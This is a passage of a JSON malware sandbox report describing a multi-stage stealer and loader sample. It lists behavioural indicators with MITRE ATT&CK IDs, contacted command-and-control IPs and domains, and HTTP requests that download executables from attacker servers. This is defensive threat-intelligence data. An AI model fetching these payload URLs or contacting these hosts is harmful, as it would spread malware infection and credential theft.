Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\"ookie:hapubws@capitalone.com/\" (Source: 00000000-00000328.00000001.299972.00500000.00000004.mdmp, Indicator: \"capitalone.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"2c8FJYQ.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4416)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Accesses potentially sensitive information from local browsers","description":"$61","origin":"Touched Handle","mitre_attack_id":"T1005","relevance":7,"id":"handle-0","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Exploit/Shellcode","name":"Writes shellcode to a remote process","description":"Wrote 243 instructions to a remote process","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1055","relevance":8,"id":"stream-38","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique user-agent","description":"Found the following user-agents: Microsoft-CryptoAPI/6.1\n 1\n C\n d","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Network Related","name":"Found unknown user-agent(s)","description":"Found the following user-agents: 1\n C\n d","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Network Related","name":"Reference to an external IP address lookup service identified","description":"$62","origin":"File/Memory","mitre_attack_id":"T1016","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 107.189.21.235 on port 7709","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Checks for files associated with bitcoin mining software","description":"$63","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-46","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"Fingerprint","details_count":6,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"},{"detail":"Reads the system/video BIOS version"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Possibly tries to evade analysis by sleeping many times"},{"detail":"Sets the 'ThreadHideFromDebugger' thread data structure"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"Network","details_count":2,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"},{"detail":"GETs executable from a webserver (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Reads FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]}]},"activity":{"stats":{"process_count":30,"spawned_processes_count":30,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":43,"imported_dlls_count":200,"dropped_files_count":0,"extracted_files_count":56,"files_written_count":131,"files_deleted_count":0,"registry_keys_created_count":59,"registry_keys_modified_count":0,"registry_keys_deleted_count":2,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":61,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":12,"dns_resolutions_count":20,"contacted_urls_count":34,"http_requests_count":34},"behavior_tags":["commodity","cryptocurrencytheft","loader","backdoor","lummastealer","amadeyloader","informationstealer","stealcv2","mixloader","amadeyclipper","credentialharvesting","redlinestealer","criminal","downloader","evasive","suspicious","new_domain","modular","rat","njrat","quasar","opensource","targeted","xworm","asyncrat","malicious","infostealer"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"68c5a885f97280cbf90a601a","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["ALB","CAN","DEU","IRN","RUS","UKR","USA"],"submit_name":"bounty-38813904328784694","analysis_start_time":"2025-09-13T17:23:18+00:00","indicators_count":{"informative":328,"suspicious":139,"malicious":31},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true},{"id":"68c5a88590e87775fc0378a8","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["ALB","CAN","DEU","RUS","UKR","USA"],"submit_name":"bounty-38813904328784694","analysis_start_time":"2025-09-13T17:23:18+00:00","indicators_count":{"informative":277,"suspicious":110,"malicious":17},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true},{"id":"68c5a885489928c8d50b2922","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["DEU","UKR"],"submit_name":"bounty-38813904328784694","analysis_start_time":"2025-09-13T17:23:18+00:00","indicators_count":{"informative":247,"suspicious":77,"malicious":11},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"68c5a88513067041460f88b0","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["ALB","CAN","DEU","GBR","IRN","UKR"],"submit_name":"bounty-38813904328784694","analysis_start_time":"2025-09-13T17:23:18+00:00","indicators_count":{"informative":276,"suspicious":110,"malicious":15},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true},{"id":"68c3574493fe289d6905879d","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["ALB","DEU","GBR","UKR"],"submit_name":"bounty-38813904328784694","analysis_start_time":"2025-09-11T23:12:05+00:00","indicators_count":{"informative":186,"suspicious":63,"malicious":11},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"94.154.35.25","port":80,"protocol":"TCP","country":"Ukraine","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"address":"178.16.54.200","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"address":"149.154.167.99","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"address":"109.104.153.203","port":443,"protocol":"TCP","country":"Albania","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"address":"64.227.2.250","port":443,"protocol":"TCP","country":"Canada","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"address":"178.16.55.70","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"address":"142.251.46.193","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"address":"185.156.73.98","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"address":"142.251.214.131","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"address":"62.60.226.113","port":80,"protocol":"TCP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"address":"176.46.158.23","port":80,"protocol":"TCP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"address":"107.189.21.235","port":7709,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]}],"dns_resolutions":[{"domain":"commum.asia","address":"109.104.153.203","ttl":300,"country":"Albania","registrar_name":"Dynadot Inc","registrar_organization":"Super Privacy Service LTD c/o Dynadot","registrar_name_servers":"ns2.dyna-ns.net","registrar_creation_date":"2025-09-09T11:42:24+00:00","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"domain":"t.me","address":"149.154.167.99","ttl":128,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"domain":"acrislegt.su","address":"64.227.2.250","ttl":13148,"country":"Canada","registrar_name":"REGRU-SU","registrar_name_servers":"ns2.reg.ru.","registrar_creation_date":"2025-09-07T12:30:30+00:00","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"averiryvx.su","address":"109.104.153.203","ttl":4393,"country":"Albania","registrar_name":"REGRU-SU","registrar_name_servers":"ns2.reg.ru.","registrar_creation_date":"2025-09-07T12:30:30+00:00","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"c.pki.goog","address":"142.251.214.131","ttl":55,"country":"United States","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"cerasatvf.su","address":"64.227.2.250","ttl":5,"country":"Canada","registrar_name":"REGRU-SU","registrar_name_servers":"ns2.reg.ru.","registrar_creation_date":"2025-09-07T12:30:29+00:00","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"consnbx.su","address":"64.227.2.250","ttl":20458,"country":"Canada","registrar_name":"REGRU-SU","registrar_name_servers":"ns2.reg.ru.","registrar_creation_date":"2025-09-07T12:30:29+00:00","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"crl.pki.goog","address":"142.251.214.131","ttl":165,"country":"United States","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"diadtuky.su","address":"64.227.2.250","ttl":14415,"country":"Canada","registrar_name":"REGRU-SU","registrar_name_servers":"ns2.reg.ru.","registrar_creation_date":"2025-09-07T12:30:31+00:00","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"domain":"drive.usercontent.google.com","address":"142.251.46.193","ttl":300,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Google Inc.","registrar_name_servers":"ns1.google.com","registrar_creation_date":"1997-09-15T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"lexenorf.org","address":"109.104.153.203","ttl":60,"country":"Albania","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"minepulse.pro","country":"-","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"o.pki.goog","address":"142.251.214.131","ttl":244,"country":"United States","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"ocsp.pki.goog","address":"142.251.214.131","ttl":89,"country":"United States","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"prebwle.su","address":"109.104.153.203","ttl":7925,"country":"Albania","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"rhussois.su","address":"64.227.2.250","ttl":88,"country":"Canada","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"sirhirssg.su","address":"64.227.2.250","ttl":13149,"country":"Canada","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"todoexy.su","address":"64.227.2.250","ttl":17844,"country":"Canada","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"domain":"repzzm.asia","address":"109.104.153.203","ttl":300,"country":"Albania","registrar_name":"Dynadot Inc","registrar_organization":"Super Privacy Service LTD c/o Dynadot","registrar_name_servers":"ns2.dyna-ns.net","registrar_creation_date":"2025-09-09T11:48:04+00:00","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"domain":"jocospt.shop","address":"64.227.2.250","ttl":300,"country":"Canada","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]}],"http_requests":[{"host":"94.154.35.25","host_ip":"94.154.35.25:80","url":"/di9ku38f/index.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /di9ku38f/index.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: 94.154.35.25\nContent-Length: 4\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/rdx/random.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/rdx/random.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/fate/random.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/fate/random.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"t.me","host_ip":"149.154.167.99:443","url":"/romalabs4","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /romalabs4 HTTP/1.1\nConnection: Keep-Alive\nHost: t.me","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"host":"commum.asia","host_ip":"109.104.153.203:443","url":"/taxe","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /taxe HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36\nContent-Length: 61\nHost: commum.asia","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/8233681234/rrr2ITl.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/8233681234/rrr2ITl.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/5418417533/gZ3dBvj.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/5418417533/gZ3dBvj.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/6629342726/vgXMNSY.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/6629342726/vgXMNSY.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/5900855435/YXJ9Hvg.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/5900855435/YXJ9Hvg.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"178.16.55.70","host_ip":"178.16.55.70:80","url":"/v3434.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /v3434.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/8350398681/YqShJwS.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/8350398681/YqShJwS.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/8167064937/jSR21kp.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/8167064937/jSR21kp.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"c.pki.goog","host_ip":"142.251.214.131:80","url":"/r/r1.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /r/r1.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: c.pki.goog","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"c.pki.goog","host_ip":"142.251.214.131:80","url":"/wr2/oBFYYahzgVI.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /wr2/oBFYYahzgVI.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: c.pki.goog","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"crl.pki.goog","host_ip":"142.251.214.131:80","url":"/gsr1/gsr1.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gsr1/gsr1.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: crl.pki.goog","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"o.pki.goog","host_ip":"142.251.214.131:80","url":"/wr2/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEFg%2BsKhSk7yWEFGWPQSIifs%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /wr2/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEFg%2BsKhSk7yWEFGWPQSIifs%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: o.pki.goog","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"ocsp.pki.goog","host_ip":"142.251.214.131:80","url":"/gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.pki.goog","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/5296057416/NjtIeMV.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/5296057416/NjtIeMV.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/8434554557/2c8FJYQ.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/8434554557/2c8FJYQ.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/5815908625/K6lV9Hn.exe","method":"GET","response_code":"304","response_phrase":"Not Modified","header":"GET /files/5815908625/K6lV9Hn.exe HTTP/1.1\nHost: 178.16.54.200\nIf-Modified-Since: Sat, 13 Sep 2025 13:18:26 GMT\nIf-None-Match: \"68c56f22-410600\"","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/luma/random.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /luma/random.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/5298241443/S8nPHvo.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/5298241443/S8nPHvo.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"host":"cerasatvf.su","host_ip":"64.227.2.250:443","url":"/qtpd","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /qtpd HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36\nContent-Length: 61\nHost: cerasatvf.su","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/8061402479/xO50QoO.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/8061402479/xO50QoO.exe 